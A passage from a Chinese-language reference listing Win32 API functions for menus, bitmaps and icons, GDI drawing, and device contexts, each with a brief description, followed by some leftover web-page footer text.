判断哪个菜单条目包含了屏幕上一个指定的点 ModifyMenu 改变菜单条目 RemoveMenu 删除指定的菜单条目 SetMenu 设置窗口菜单 SetMenuContextHelpId 设置一个菜单的帮助场景 ID SetMenuDefaultItem 将一个菜单条目设为默认条目 SetMenuItemBitmaps 设置一幅特定位图,令其在指定的菜单条目中使用,代替标准的 复选符号(√) SetMenuItemInfo 为一个菜单条目设置指定的信息 TrackPopupMenu 在屏幕的任意地方显示一个弹出式菜单 TrackPopupMenuEx 与 TrackPopupMenu 相似,只是它提供了额外的功能7. API 之位图、图标和光栅运算函数 BitBlt 将一幅位图从一个设备场景复制到另一个 CopyIcon 制作指定图标或鼠标指针的一个副本。 这个副本从属于发出调用的应用程序 CopyImage 复制位图、图标或指针,同时在复制过程中进行一些转换工作 CreateBitmap 按照规定的格式创建一幅与设备有关位图 CreateBitmapIndirect 创建一幅与设备有关位图 CreateCompatibleBitmap 创建一幅与设备有关位图,它与指定的设备场景兼容 CreateCursor 创建一个鼠标指针 CreateDIBitmap 根据一幅与设备无关的位图创建一幅与设备有关的位图 CreateDIBSection 创建一个 DIBSection CreateIcon 创建一个图标 CreateIconIndirect 创建一个图标 DestroyCursor 清除指定的鼠标指针,并释放它占用的所有系统资源 DestroyIcon 清除图标 DrawIcon 在指定的位置画一个图标 DrawIconEx 描绘一个图标或鼠标指针。与 DrawIcon 相比,这个函数提供了更多的功能ExtractAssociatedIcon 判断一个可执行程序或 DLL 中是否存在图标, 或是否有图标与 系统注册表中指定的文件存在关联并提取之 ExtractIcon 判断一个可执行文件或 DLL 中是否有图标存在,并将其提取出来 GetBitmapBits 将来自位图的二进制位复制到一个缓冲区 GetBitmapDimensionEx 取得一幅位图的宽度和高度 GetDIBColorTable 从选入设备场景的 DIBSection 中取得颜色表信息 GetDIBits 将来自一幅位图的二进制位复制到一幅与设备无关的位图里 GetIconInfo 取得与图标有关的信息 GetStretchBltMode 判断 StretchBlt 和 StretchDIBits 函数采用的伸缩模式 LoadBitmap 从指定的模块或应用程序实例中载入一幅位图 LoadCursor 从指定的模块或应用程序实例中载入一个鼠标指针 LoadCursorFromFile 在一个指针文件或一个动画指针文件的基础上创建一个指针 LoadIcon 从指定的模块或应用程序实例中载入一个图标 LoadImage 载入一个位图、图标或指针 MaskBlt 执行复杂的图象传输,同时进行掩模(MASK)处理 PatBlt 在当前选定的刷子的基础上,用一个图案填充指定的设备场景 PlgBlt 复制一幅位图,同时将其转换成一个平行四边形。利用它可对位图进行旋转处 理 SetBitmapBits 将来自缓冲区的二进制位复制到一幅位图 SetBitmapDimensionEx 设置一幅位图的宽度。以一毫米的十分之一为单位 SetDIBColorTable 设置选入设备场景的一个 DIBSection 的颜色表信息 SetDIBits 将来自与设备无关位图的二进制位复制到一幅与设备有关的位图里 SetDIBitsToDevice 将一幅与设备无关位图的全部或部分数据直接复制到一个设备 SetStretchBltMode 指定 StretchBlt 和 StretchDIBits 函数的伸缩模式 StretchBlt 将一幅位图从一个设备场景复制到另一个 StretchDIBits 将一幅与设备无关位图的全部或部分数据直接复制到指定的设备场景 ||||||8. API 之绘图函数AbortPath 抛弃选入指定设备场景中的所有路径。 也取消目前正在进行的任何路径的创 建工作 AngleArc 用一个连接弧画一条线 Arc 画一个圆弧 BeginPath 启动一个路径分支 CancelDC 取消另一个线程里的长时间绘图操作 Chord 画一个弦 CloseEnhMetaFile 关闭指定的增强型图元文件设备场景,并将新建的图元文件返回一 个句柄 CloseFigure 描绘到一个路径时,关闭当前打开的图形 CloseMetaFile 关闭指定的图元文件设备场景,并向新建的图元文件返回一个句柄 CopyEnhMetaFile 制作指定增强型图元文件的一个副本(拷贝) CopyMetaFile 制作指定(标准)图元文件的一个副本 CreateBrushIndirect 在一个 LOGBRUSH 数据结构的基础上创建一个刷子 CreateDIBPatternBrush 用一幅与设备无关的位图创建一个刷子,以便指定刷子样式 (图案) CreateEnhMetaFile 创建一个增强型的图元文件设备场景 CreateHatchBrush 创建带有阴影图案的一个刷子 CreateMetaFile 创建一个图元文件设备场景 CreatePatternBrush 用指定了刷子图案的一幅位图创建一个刷子 CreatePen 用指定的样式、宽度和颜色创建一个画笔 CreatePenIndirect 根据指定的 LOGPEN 结构创建一个画笔 CreateSolidBrush 用纯色创建一个刷子 DeleteEnhMetaFile 删除指定的增强型图元文件 DeleteMetaFile 删除指定的图元文件 DeleteObject 删除 GDI 对象,对象使用的所有系统资源都会被释放 DrawEdge 用指定的样式描绘一个矩形的边框 DrawEscape 换码(Escape)函数将数据直接发至显示设备驱动程序 DrawFocusRect 画一个焦点矩形 DrawFrameControl 描绘一个标准控件 DrawState 为一幅图象或绘图操作应用各式各样的效果 Ellipse 描绘一个椭圆,由指定的矩形围绕 EndPath 停止定义一个路径 EnumEnhMetaFile 针对一个增强型图元文件,列举其中单独的图元文件记录 EnumMetaFile 为一个标准的 windows 图元文件枚举单独的图元文件记录 EnumObjects 枚举可随同指定设备场景使用的画笔和刷子 ExtCreatePen 创建一个扩展画笔(装饰或几何) ExtFloodFill 在指定的设备场景里,用当前选择的刷子填充一个区域 FillPath 关闭路径中任何打开的图形,并用当前刷子填充 FillRect 用指定的刷子填充一个矩形 FlattenPath 将一个路径中的所有曲线都转换成线段 FloodFill 用当前选定的刷子在指定的设备场景中填充一个区域 FrameRect 用指定的刷子围绕一个矩形画一个边框 GdiComment 为指定的增强型图元文件设备场景添加一条注释信息 GdiFlush 执行任何未决的绘图操作 GdiGetBatchLimit 判断有多少个 GDI 绘图命令位于队列中 GdiSetBatchLimit 指定有多少个 GDI 绘图命令能够进入队列 GetArcDirection 画圆弧的时候,判断当前采用的绘图方向 GetBkColor 取得指定设备场景当前的背景颜色 GetBkMode 针对指定的设备场景,取得当前的背景填充模式 GetBrushOrgEx 判断指定设备场景中当前选定刷子起点 GetCurrentObject 获得指定类型的当前选定对象 GetCurrentPositionEx 在指定的设备场景中取得当前的画笔位置 GetEnhMetaFile 取得磁盘文件中包含的一个增强型图元文件的图元文件句柄 GetEnhMetaFileBits 将指定的增强型图元文件复制到一个内存缓冲区里 GetEnhMetaFileDescription 返回对一个增强型图元文件的说明 GetEnhMetaFileHeader 取得增强型图元文件的图元文件头 GetEnhMetaFilePaletteEntries 取得增强型图元文件的全部或部分调色板 GetMetaFile 取得包含在一个磁盘文件中的图元文件的图元文件句柄 GetMetaFileBitsEx 将指定的图元文件复制到一个内存缓冲区 GetMiterLimit 取得设备场景的斜率限制(Miter)设置 GetNearestColor 根据设备的显示能力,取得与指定颜色最接近的一种纯色 GetObjectAPI 取得对指定对象进行说明的一个结构 GetObjectType 判断由指定句柄引用的 GDI 对象的类型 GetPath 取得对当前路径进行定义的一系列数据 GetPixel 在指定的设备场景中取得一个像素的 RGB 值 GetPolyFillMode 针对指定的设备场景,获得多边形填充模式 GetROP2 针对指定的设备场景,取得当前的绘图模式 GetStockObject 取得一个固有对象(Stock) GetSysColorBrush 为任何一种标准系统颜色取得一个刷子 GetWinMetaFileBits 通过在一个缓冲区中填充用于标准图元文件的数据,将一个增强 型图元文件转换成标准 windows 图元文件 InvertRect 通过反转每个像素的值,从而反转一个设备场景中指定的矩形 LineDDA 枚举指定线段中的所有点 LineTo 用当前画笔画一条线,从当前位置连到一个指定的点 MoveToEx 为指定的设备场景指定一个新的当前画笔位置 PaintDesk 在指定的设备场景中描绘桌面墙纸图案 PathToRegion 将当前选定的路径转换到一个区域里 Pie 画一个饼图 PlayEnhMetaFile 在指定的设备场景中画一个增强型图元文件 PlayEnhMetaFileRecord 回放单独一条增强型图元文件记录 PlayMetaFile 在指定的设备场景中回放一个图元文件 PlayMetaFileRecord 回放来自图元文件的单条记录 PolyBezier 描绘一条或多条贝塞尔(Bezier)曲线 PolyDraw 描绘一条复杂的曲线,由线段及贝塞尔曲线组成 Polygon 描绘一个多边形 Polyline 用当前画笔描绘一系列线段 PolyPolygon 用当前选定画笔描绘两个或多个多边形 PolyPolyline 用当前选定画笔描绘两个或多个多边形 Rectangle 用当前选定的画笔描绘矩形,并用当前选定的刷子填充 RoundRect 用当前选定的画笔画一个圆角矩形,并用当前选定的刷子在其中填充 SelectClipPath 将设备场景当前的路径合并到剪切区域里 SelectObject 为当前设备场景选择图形对象 SetArcDirection 设置圆弧的描绘方向 SetBkColor 为指定的设备场景设置背景颜色 SetBkMode 指定阴影刷子、虚线画笔以及字符中的空隙的填充方式 SetBrushOrgEx 为指定的设备场景设置当前选定刷子的起点 SetEnhMetaFileBits 用指定内存缓冲区内包含的数据创建一个增强型图元文件 SetMetaFileBitsEx 用包含在指定内存缓冲区内的数据结构创建一个图元文件 SetMiterLimit 设置设备场景当前的斜率限制 SetPixel 在指定的设备场景中设置一个像素的 RGB 值 SetPixelV 在指定的设备场景中设置一个像素的 RGB 值 SetPolyFillMode 设置多边形的填充模式 SetROP2 设置指定设备场景的绘图模式。与 vb 的 DrawMode 属性完全一致 SetWinMetaFileBits 将一个标准 Windows 图元文件转换成增强型图元文件 StrokeAndFillPath 针对指定的设备场景,关闭路径上打开的所有区域 StrokePath 用当前画笔描绘一个路径的轮廓。打开的图形不会被这个函数关闭 UnrealizeObject 将一个刷子对象选入设备场景之前,如刷子的起点准备用 SetBrushO rgEx 修改,则必须先调用本函数 WidenPath 根据选定画笔的宽度,重新定义当前选定的路径9. API 之设备场景函数CombineRgn 将两个区域组合为一个新区域 CombineTransform 驱动世界转换。它相当于依顺序进行两次转换 CreateCompatibleDC 创建一个与特定设备场景一致的内存设备场景 CreateDC 为专门设备创建设备场景 CreateEllipticRgn 创建一个椭圆 CreateEllipticRgnIndirect 创建一个内切于特定矩形的椭圆区域 CreateIC 为专用设备创建一个信息场景 CreatePolygonRgn 创建一个由一系列点围成的区域 CreatePolyPolygonRgn 创建由多个多边形构成的区域。每个多边形都应是封闭的 CreateRectRgn 创建一个矩形区域 CreateRectRgnIndirect 创建一个矩形区域 CreateRoundRectRgn 创建一个圆角矩形 DeleteDC 删除专用设备场景或信息场景,释放所有相关窗口资源 DPtoLP 将点阵从设备坐标转换到专用设备场景逻辑坐标 EqualRgn 确定两个区域是否相等 ExcludeClipRect 从专用设备场景的剪裁区中去掉一个矩形区。矩形内不能进行绘图 ExcludeUpdateRgn 从专用设备场景剪裁区去掉指定窗口的刷新区域 ExtCreateRegion 根据世界转换修改区域 ExtSelectClipRgn 将指定区域组合到设备场景的当前剪裁区 FillRgn 用指定刷子填充指定区域 FrameRgn 用指定刷子围绕指定区域画一个外框 GetBoundsRect 获取指定设备场景的边界矩形 GetClipBox 获取完全包含指定设备场景剪裁区的最小矩形 GetClipRgn 获取设备场景当前剪裁区 GetDC 获取指定窗口的设备场景 GetDCEx 为指定窗口获取设备场景。相比 GetDC,本函数提供了更多的选项 GetDCOrgEx 获取指定设备场景起点位置(以屏幕坐标表示) GetDeviceCaps 根据指定设备场景代表的设备的功能返回信息 GetGraphicsMode 确定是否允许增强图形模式(世界转换) GetMapMode 为特定设备场景调入映象模式 GetRegionData 装入描述一个区域信息的 RgnData 结构或缓冲区 GetRgnBox 获取完全包含指定区域的最小矩形 GetUpdateRgn 确定指定窗口的刷新区域。该区域当前无效,需要刷新 GetViewportExtEx 获取设备场景视口(viewport)范围 GetViewportOrgEx 获取设备场景视口起点 GetWindowDC 获取整个窗口(包括边框、滚动条、标题栏、菜单等)的设备场景 GetWindowExtEx 获取指定设备场景的窗口范围 GetWindowOrgEx 获取指定设备场景的逻辑窗口的起点 GetWindowRgn 获取窗口区域 GetWorldTransform 如果有世界转换,为设备场景获取当前世界转换 IntersectClipRect 为指定设备定义一个新的剪裁区 InvalidateRgn 使窗口指定区域不活动,并将它加入窗口刷新区,使之可随后被重画 InvertRgn 通过颠倒每个像素值反转设备场景指定区域 LPtoDP 将点阵从指定设备场景逻辑坐标转换为设备坐标 ModifyWorldTransform 根据指定的模式修改世界转换 OffsetClipRgn 按指定量平移设备场景剪裁区 OffsetRgn 按指定偏移量平移指定区域 OffsetViewportOrgEx 平移设备场景视口区域 OffsetWindowOrgEx 平移指定设备场景窗口起点 PaintRgn 用当前刷子背景色填充指定区域 PtInRegion 确定点是否在指定区域内 PtVisible 确定指定点是否可见(即,点是否在设备场景剪裁区内) RectInRegion 确定矩形是否有部分在指定区域内 RectVisible 确定指定矩形是否有部分可见(是否在设备场景剪裁区内) ReleaseDC 释放由调用 GetDC 或 GetWindowDC 函数获取的指定设备场景 RestoreDC 从设备场景堆栈恢复一个原先保存的设备场景 SaveDC 将指定设备场景状态保存到 Windows 设备场景堆栈 ScaleViewportExtEx 缩放设备场景视口的范围 ScaleWindowExtEx 缩放指定设备场景窗口范围 ScrollDC 在窗口(由设备场景代表)中水平和(或)垂直滚动矩形 SelectClipRgn 为指定设备场景选择新}

我要回帖

更多关于 个人全局观念提升计划 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信